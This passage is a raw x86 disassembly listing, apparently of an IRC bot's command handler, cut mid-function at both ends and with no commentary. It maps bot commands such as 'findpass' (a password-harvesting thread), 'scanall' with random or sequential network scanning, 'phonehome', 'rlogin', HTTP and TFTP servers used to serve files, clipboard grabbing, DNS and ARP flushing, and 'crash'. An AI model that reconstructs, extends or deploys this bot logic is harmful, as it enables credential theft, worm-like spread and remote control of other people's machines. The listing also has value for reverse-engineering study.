push offset aGetclip ; "getclip"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4040E8
push edi
push offset aGc ; "gc"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4040E8
push edi
push offset aFlusharp ; "flusharp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4040CB
push edi
push offset aFarp ; "farp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4040CB
push edi
push offset aFlushdns ; "flushdns"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aFdns ; "fdns"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aCurrentip ; "currentip"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404053
push edi
push offset aCip ; "cip"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404053
push edi
push offset aRloginserver ; "rloginserver"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_403EF7
push edi
push offset aRlogin ; "rlogin"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_403EF7
push edi
push offset aHttpserver ; "httpserver"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_403D82
push edi
push offset aHttp ; "http"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_403D82
push edi
push offset aTftpserver ; "tftpserver"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_403C51
push edi
push offset aTftp ; "tftp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_403C51
push edi
push offset aCrash ; "crash"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40381E
lea eax, [ebp+var_2C0]
push offset dword_440684
push eax
call sub_41EA60
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_4037FD
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_4037FD: ; CODE XREF: sub_401C87+1B58j
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
mov [esp+10h+var_10], offset aCrash_0 ; "crash"
push [ebp+esi+var_7C]
call sub_41F7E0
jmp loc_402212
; ---------------------------------------------------------------------------
loc_40381E: ; CODE XREF: sub_401C87+1B40j
push edi
push offset aScanall ; "scanall"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40394D
push edi
push offset aSa ; "sa"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40394D
push edi
push offset aPhonehome ; "phonehome"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_403872
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_409C2F
jmp loc_4020E7
; ---------------------------------------------------------------------------
loc_403872: ; CODE XREF: sub_401C87+1BD0j
push edi
push offset aFindpass ; "findpass"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_403898
push edi
push offset aFp ; "fp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_403610
loc_403898: ; CODE XREF: sub_401C87+1BFAj
push [ebp+var_88]
lea eax, [ebp+var_F54]
push 80h
push eax
call sub_41EC30
mov eax, [ebp+arg_4]
push offset unk_4406F4
mov [ebp+var_F58], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED0], eax
mov eax, [ebp+var_8]
mov [ebp+var_ECC], eax
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41EC30
push ebx
lea eax, [ebp+var_2C0]
push 26h
push eax
call sub_40B691
add esp, 24h
mov [ebp+var_ED4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F58]
push ebx
push eax
push offset sub_41786C
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_ED4]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_403940
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44071C
jmp loc_4085EB
; ---------------------------------------------------------------------------
loc_403938: ; CODE XREF: sub_401C87+1CBFj
push 32h
call ds:dword_4F534C ; Sleep
loc_403940: ; CODE XREF: sub_401C87+1C9Ej
cmp [ebp+var_EC8], ebx
jz short loc_403938
jmp loc_402593
; ---------------------------------------------------------------------------
loc_40394D: ; CODE XREF: sub_401C87+1BA6j
; sub_401C87+1BBBj
mov al, ds:byte_448352
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_448352
jz loc_4076C4
mov ecx, edx
loc_403964: ; CODE XREF: sub_401C87+1CE5j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_403964
cmp al, bl
jz loc_4076C4
mov [ebp+arg_18], edx
mov esi, offset a2 ; "#2"
loc_40397E: ; CODE XREF: sub_401C87+1FA3j
push 0Bh
call sub_40B8D3
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_4039CD
push ecx
lea eax, [ebp+var_2C0]
push offset unk_440758
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 20h
jmp loc_403C21
; ---------------------------------------------------------------------------
loc_4039CD: ; CODE XREF: sub_401C87+1D11j
or [ebp+var_730], 0FFFFFFFFh
cmp ds:dword_4481F0, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], 320h
mov [ebp+arg_0], ebx
jz short loc_403A3E
mov edi, offset dword_4481F0
loc_403A02: ; CODE XREF: sub_401C87+1D99j
mov eax, [ebp+arg_18]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_403A24
inc [ebp+arg_0]
add edi, 40h
cmp [edi], ebx
jnz short loc_403A02
jmp short loc_403A3E
; ---------------------------------------------------------------------------
loc_403A24: ; CODE XREF: sub_401C87+1D8Fj
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, ds:dword_4481F0[ecx]
mov [ebp+var_74C], ecx
loc_403A3E: ; CODE XREF: sub_401C87+1D74j
; sub_401C87+1D9Bj
cmp [ebp+var_74C], ebx
jz loc_403C47
push 10h
lea eax, [ebp+var_2CC]
pop edi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2CC], edi
push [ebp+arg_4]
call ds:dword_4E2F6C ; getsockname
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_860]
push eax
call sub_41E510
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_860]
push eax
call sub_41F5B0
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_403AE6
loc_403AC4: ; CODE XREF: sub_401C87+1E5Dj
cmp eax, ebx
jz short loc_403AE6
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41F5B0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_403AC4
loc_403AE6: ; CODE XREF: sub_401C87+1E3Bj
; sub_401C87+1E3Fj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_750], eax
mov eax, [ebp+var_4]
mov [ebp+var_728], eax
mov eax, [ebp+var_8]
mov [ebp+var_724], eax
mov edi, 80h
lea eax, [ebp+var_850]
push edi
push eax
mov [ebp+var_720], 1
call sub_41EC30
push offset byte_4E2E79
push esi
call sub_41F7E0
add esp, 14h
test eax, eax
jz short loc_403B48
push esi
lea eax, [ebp+var_7D0]
push edi
push eax
call sub_41EC30
add esp, 0Ch
jmp short loc_403B4E
; ---------------------------------------------------------------------------
loc_403B48: ; CODE XREF: sub_401C87+1EACj
mov [ebp+var_7D0], bl
loc_403B4E: ; CODE XREF: sub_401C87+1EBFj
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_403B60
mov eax, offset aSequential ; "Sequential"
loc_403B60: ; CODE XREF: sub_401C87+1ED2j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_4407B0
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40B691
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40CA91
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_403C3D
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C0]
push offset unk_44081C
push eax
call sub_41EA60
add esp, 0Ch
loc_403BF3: ; CODE XREF: sub_401C87+1FBEj
cmp [ebp+var_8], ebx
jnz short loc_403C14
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_403C14: ; CODE XREF: sub_401C87+1F6Fj
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
pop ecx
loc_403C21: ; CODE XREF: sub_401C87+1D41j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_40397E
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_403C35: ; CODE XREF: sub_401C87+1FBCj
push 32h
call ds:dword_4F534C ; Sleep
loc_403C3D: ; CODE XREF: sub_401C87+1F4Fj
cmp [ebp+var_71C], ebx
jz short loc_403C35
jmp short loc_403BF3
; ---------------------------------------------------------------------------
loc_403C47: ; CODE XREF: sub_401C87+1DBDj
push offset unk_440858
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_403C51: ; CODE XREF: sub_401C87+1B16j
; sub_401C87+1B2Bj
push 5
call sub_40B8D3
test eax, eax
pop ecx
jle short loc_403C67
push offset unk_440890
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_403C67: ; CODE XREF: sub_401C87+1FD4j
mov eax, [ebp+esi+var_8C]
mov edi, 104h
cmp eax, ebx
jz short loc_403C8A
push eax
lea eax, [ebp+var_2D50]
push edi
push eax
call sub_41EC30
add esp, 0Ch
jmp short loc_403C99
; ---------------------------------------------------------------------------
loc_403C8A: ; CODE XREF: sub_401C87+1FEEj
lea eax, [ebp+var_2D50]
push edi
push eax
push ebx
call ds:off_4F5344
loc_403C99: ; CODE XREF: sub_401C87+2001j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403CA9
mov esi, offset byte_43F0FC
loc_403CA9: ; CODE XREF: sub_401C87+201Bj
push esi
lea eax, [ebp+var_2C4C]
push edi
push eax
call sub_41EC30
mov eax, ds:dword_43F07C
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B40], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B44], ebx
mov [ebp+var_2D54], eax
lea eax, [ebp+var_2B3C]
push eax
call sub_41E510
mov eax, [ebp+var_4]
mov [ebp+var_2ABC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2AB8], eax
lea eax, [ebp+var_2D50]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_2B40]
push offset unk_4408B0
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 5
push eax
call sub_40B691
add esp, 34h
mov [ebp+var_2B48], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D54]
push ebx
push eax
push offset sub_41206F
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_2B48]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_403D75
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4408E4
jmp loc_406190
; ---------------------------------------------------------------------------
loc_403D6D: ; CODE XREF: sub_401C87+20F4j
push 32h
call ds:dword_4F534C ; Sleep
loc_403D75: ; CODE XREF: sub_401C87+20D3j
cmp [ebp+var_2AB4], ebx
jz short loc_403D6D
jmp loc_407148
; ---------------------------------------------------------------------------
loc_403D82: ; CODE XREF: sub_401C87+1AECj
; sub_401C87+1B01j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403DA1
push edi
call sub_41E710
test eax, eax
pop ecx
jz short loc_403DA1
push edi
call sub_41E710
pop ecx
jmp short loc_403DA6
; ---------------------------------------------------------------------------
loc_403DA1: ; CODE XREF: sub_401C87+2104j
; sub_401C87+210Fj
mov eax, ds:dword_43F080
loc_403DA6: ; CODE XREF: sub_401C87+2118j
mov esi, [ebp+esi+var_88]
mov [ebp+var_36C8], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B4], eax
jz short loc_403DD9
lea eax, [ebp+var_37CC]
push esi
push eax
call sub_41EA60
pop ecx
pop ecx
jmp short loc_403E04
; ---------------------------------------------------------------------------
loc_403DD9: ; CODE XREF: sub_401C87+213Fj
lea eax, [ebp+var_4FF4]
push 104h
push eax
call ds:dword_4F5348 ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_4FF4]
push eax
call sub_41ED30
add esp, 14h
loc_403E04: ; CODE XREF: sub_401C87+2150j
lea eax, [ebp+var_37CC]
push eax
call sub_41BC70
cmp [ebp+eax+var_37CD], 5Ch
pop ecx
jnz short loc_403E2F
lea eax, [ebp+var_37CC]
push eax
call sub_41BC70
pop ecx
mov [ebp+eax+var_37CD], bl
loc_403E2F: ; CODE XREF: sub_401C87+2192j
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A54]
mov [ebp+var_3A58], esi
push 80h
push eax
call sub_41EC30
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36B8], eax
lea eax, [ebp+var_37CC]
mov [ebp+var_36BC], edi
push eax
push [ebp+var_36C8]
push esi
call sub_40AEAD
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_440920
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 3
push eax
call sub_40B691
add esp, 20h
mov [ebp+var_36C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A58]
push ebx
push eax
push offset sub_40FA20
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_36C0]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_403EEA
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44095C
jmp loc_404014
; ---------------------------------------------------------------------------
loc_403EE2: ; CODE XREF: sub_401C87+2269j
push 32h
call ds:dword_4F534C ; Sleep
loc_403EEA: ; CODE XREF: sub_401C87+2248j
cmp [ebp+var_36AC], ebx
jz short loc_403EE2
jmp loc_404023
; ---------------------------------------------------------------------------
loc_403EF7: ; CODE XREF: sub_401C87+1AC2j
; sub_401C87+1AD7j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403F16
push edi
call sub_41E710
test eax, eax
pop ecx
jz short loc_403F16
push edi
call sub_41E710
pop ecx
jmp short loc_403F1B
; ---------------------------------------------------------------------------
loc_403F16: ; CODE XREF: sub_401C87+2279j
; sub_401C87+2284j
mov eax, ds:dword_43F084
loc_403F1B: ; CODE XREF: sub_401C87+228Dj
mov [ebp+var_1824], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403F32
lea eax, [ebp+var_C0]
loc_403F32: ; CODE XREF: sub_401C87+22A3j
push eax
lea eax, [ebp+var_1964]
push 40h
push eax
call sub_41EC30
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403F54
mov esi, offset byte_4E2E7A
loc_403F54: ; CODE XREF: sub_401C87+22C6j
push esi
lea eax, [ebp+var_1924]
push 100h
push eax
call sub_41EC30
push [ebp+var_88]
lea eax, [ebp+var_19E4]
push 80h
push eax
call sub_41EC30
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 18h
mov [ebp+var_1810], eax
lea eax, [ebp+var_1964]
push eax
mov [ebp+var_19E8], esi
push [ebp+var_1824]
mov [ebp+var_1814], edi
push esi
call sub_40AEAD
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_440998
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 9
push eax
call sub_40B691
add esp, 20h
mov [ebp+var_1820], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19E8]
push ebx
push eax
push offset sub_411349
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1820]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_404049
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4409D4
loc_404014: ; CODE XREF: sub_401C87+2256j
; sub_401C87+4D76j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 0Ch
loc_404023: ; CODE XREF: sub_401C87+226Bj
; sub_401C87+23CAj ...
cmp [ebp+var_8], ebx
jnz loc_402593
push ebx
push edi
loc_40402E: ; CODE XREF: sub_401C87+6638j
lea eax, [ebp+var_2C0]
push eax
push [ebp+var_88]
push esi
jmp loc_407165
; ---------------------------------------------------------------------------
loc_404041: ; CODE XREF: sub_401C87+23C8j
push 32h
call ds:dword_4F534C ; Sleep
loc_404049: ; CODE XREF: sub_401C87+237Fj
cmp [ebp+var_180C], ebx
jz short loc_404041
jmp short loc_404023
; ---------------------------------------------------------------------------
loc_404053: ; CODE XREF: sub_401C87+1A98j
; sub_401C87+1AADj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404066
push esi
call sub_41E710
jmp short loc_40406D
; ---------------------------------------------------------------------------
loc_404066: ; CODE XREF: sub_401C87+23D5j
push 0Bh
call sub_40B8F2
loc_40406D: ; CODE XREF: sub_401C87+23DDj
cmp eax, ebx
pop ecx
jz loc_409A67
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BFD2
jmp loc_404533
; ---------------------------------------------------------------------------
loc_40408D: ; CODE XREF: sub_401C87+1A6Ej
; sub_401C87+1A83j
mov eax, ds:dword_4E2EE4
cmp eax, ebx
jz short loc_4040B0
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_4040A9
push offset unk_440A10
jmp short loc_4040BB
; ---------------------------------------------------------------------------
loc_4040A9: ; CODE XREF: sub_401C87+2419j
push offset unk_440A34
jmp short loc_4040BB
; ---------------------------------------------------------------------------
loc_4040B0: ; CODE XREF: sub_401C87+240Dj
push offset unk_440A60
lea eax, [ebp+var_2C0]
loc_4040BB: ; CODE XREF: sub_401C87+2420j
; sub_401C87+2427j ...
push 200h
push eax
call sub_41EC30
jmp loc_406F1B
; ---------------------------------------------------------------------------
loc_4040CB: ; CODE XREF: sub_401C87+1A44j
; sub_401C87+1A59j
call sub_40ADC9
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_4040E1
push offset unk_440A8C
jmp short loc_4040BB
; ---------------------------------------------------------------------------
loc_4040E1: ; CODE XREF: sub_401C87+2451j
push offset unk_440AB0
jmp short loc_4040BB
; ---------------------------------------------------------------------------
loc_4040E8: ; CODE XREF: sub_401C87+1A1Aj
; sub_401C87+1A2Fj
cmp [ebp+var_8], ebx
jnz short loc_404107
push ebx
push [ebp+var_4]
push offset dword_440ADC
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_404107: ; CODE XREF: sub_401C87+2464j
push ebx
push [ebp+var_4]
call sub_418CAA
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
push offset dword_440AF4
jmp loc_404403
; ---------------------------------------------------------------------------
loc_404129: ; CODE XREF: sub_401C87+18AAj
; sub_401C87+18BFj
push 0Ah
call sub_40B8D3
test eax, eax
pop ecx
jle short loc_40413F
push offset unk_440B10
jmp loc_409869
; ---------------------------------------------------------------------------
loc_40413F: ; CODE XREF: sub_401C87+24ACj
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A8ED
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40415E
push offset unk_440B3C
jmp loc_409869
; ---------------------------------------------------------------------------
loc_40415E: ; CODE XREF: sub_401C87+24CBj
push offset unk_440B64
jmp loc_409869
; ---------------------------------------------------------------------------
loc_404168: ; CODE XREF: sub_401C87+1880j
; sub_401C87+1895j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A9CC
jmp loc_402037
; ---------------------------------------------------------------------------
loc_404181: ; CODE XREF: sub_401C87+1856j
; sub_401C87+186Bj
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_417583
jmp loc_402037
; ---------------------------------------------------------------------------
loc_40419E: ; CODE XREF: sub_401C87+182Cj
; sub_401C87+1841j
or edi, 0FFFFFFFFh
call ds:dword_4F537C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_4041C7
push esi
call sub_41E710
pop ecx
mov edi, eax
loc_4041C7: ; CODE XREF: sub_401C87+2535j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_4041E0
cmp edi, 0FFFFFFFFh
jnz loc_409A67
loc_4041E0: ; CODE XREF: sub_401C87+254Ej
push ebx
call sub_41B51B
push eax
lea eax, [ebp+var_2C0]
push offset dword_440B84
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
loc_40421D: ; CODE XREF: sub_401C87+5F69j
add esp, 28h
jmp loc_409A67
; ---------------------------------------------------------------------------
loc_404225: ; CODE XREF: sub_401C87+1802j
; sub_401C87+1817j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41638E
lea eax, [ebp+var_2C0]
push offset dword_440B9C
push eax
call sub_41EA60
loc_404247: ; CODE XREF: sub_401C87+6858j
add esp, 14h
jmp loc_407148
; ---------------------------------------------------------------------------
loc_40424F: ; CODE XREF: sub_401C87+17D8j
; sub_401C87+17EDj
push 27h
call sub_40B8D3
test eax, eax
pop ecx
jle short loc_404283
cmp [ebp+var_8], ebx
jnz loc_4076C4
push ebx
push [ebp+var_4]
push offset unk_440BBC
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
loc_40427B: ; CODE XREF: sub_401C87+729Fj
add esp, 14h
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_404283: ; CODE XREF: sub_401C87+25D2j
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41EC30
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_AA0], eax
mov [ebp+var_AA8], ebx
jz short loc_4042E4
push esi
push offset aFull ; "full"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4042E4
mov [ebp+var_AA8], 1
loc_4042E4: ; CODE XREF: sub_401C87+2640j
; sub_401C87+2651j
lea eax, [ebp+var_2C0]
push offset dword_440BE4
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 27h
push eax
call sub_40B691
add esp, 14h
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A574
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_404364
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C0]
push offset unk_440C00
push eax
call sub_41EA60
add esp, 0Ch
jmp loc_40758A
; ---------------------------------------------------------------------------
loc_40435C: ; CODE XREF: sub_401C87+26E3j
push 32h
call ds:dword_4F534C ; Sleep
loc_404364: ; CODE XREF: sub_401C87+26B3j
cmp [ebp+var_A9C], ebx
jz short loc_40435C
jmp loc_40758A
; ---------------------------------------------------------------------------
loc_404371: ; CODE XREF: sub_401C87+17AEj
; sub_401C87+17C3j
cmp [ebp+var_8], ebx
jnz short loc_404390
push ebx
push [ebp+var_4]
push offset dword_440C3C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_404390: ; CODE XREF: sub_401C87+26EDj
push [ebp+arg_4]
call ds:dword_4E3060 ; closesocket
call ds:dword_4E2F20 ; WSACleanup
call sub_418EAE
push ebx
call ds:off_4F5338
loc_4043AB: ; CODE XREF: sub_401C87+1784j
; sub_401C87+1799j
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41B6C1
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
push offset dword_440C58
jmp short loc_404403
; ---------------------------------------------------------------------------
loc_4043D6: ; CODE XREF: sub_401C87+175Aj
; sub_401C87+176Fj
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B975
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
push offset dword_440C74
loc_404403: ; CODE XREF: sub_401C87+249Dj
; sub_401C87+274Dj
call sub_415A3C
loc_404408: ; CODE XREF: sub_401C87+6FE7j
add esp, 18h
jmp loc_409A67
; ---------------------------------------------------------------------------
loc_404410: ; CODE XREF: sub_401C87+1730j
; sub_401C87+1745j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415B79
jmp loc_402037
; ---------------------------------------------------------------------------
loc_404429: ; CODE XREF: sub_401C87+1706j
; sub_401C87+171Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1594], bl
jz short loc_404468
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404468
push esi
push [ebp+var_C]
call sub_41EBB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_404468
push eax
push offset dword_440C90
lea eax, [ebp+var_1594]
push 80h
push eax
call sub_41EC30
add esp, 10h
loc_404468: ; CODE XREF: sub_401C87+27ABj
; sub_401C87+27B6j ...
push [ebp+var_88]
lea eax, [ebp+var_1614]
push 80h
push eax
call sub_41EC30
mov eax, [ebp+arg_4]
push offset dword_440C94
mov [ebp+var_1618], eax
mov eax, [ebp+var_4]
mov [ebp+var_1510], eax
mov eax, [ebp+var_8]
mov [ebp+var_150C], eax
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 25h
push eax
call sub_40B691
add esp, 20h
mov [ebp+var_1514], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1618]
push ebx
push eax
push offset sub_415BEC
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1514]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_40450B
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_440CAC
jmp loc_40220D
; ---------------------------------------------------------------------------
loc_404503: ; CODE XREF: sub_401C87+288Aj
push 32h
call ds:dword_4F534C ; Sleep
loc_40450B: ; CODE XREF: sub_401C87+2869j
cmp [ebp+var_1508], ebx
jz short loc_404503
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_404518: ; CODE XREF: sub_401C87+16DCj
; sub_401C87+16F1j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4159C4
push offset dword_440CE4
call sub_415A3C
loc_404533: ; CODE XREF: sub_401C87+2401j
add esp, 10h
jmp loc_409A67
; ---------------------------------------------------------------------------
loc_40453B: ; CODE XREF: sub_401C87+16B2j
; sub_401C87+16C7j
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41EC30
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
jz short loc_404595
push offset dword_440CFC
push esi
call sub_41F7E0
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_B40], eax
jmp short loc_40459B
; ---------------------------------------------------------------------------
loc_404595: ; CODE XREF: sub_401C87+28F2j
mov [ebp+var_B40], ebx
loc_40459B: ; CODE XREF: sub_401C87+290Cj
lea eax, [ebp+var_2C0]
push offset dword_440D00
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 28h
push eax
call sub_40B691
add esp, 14h
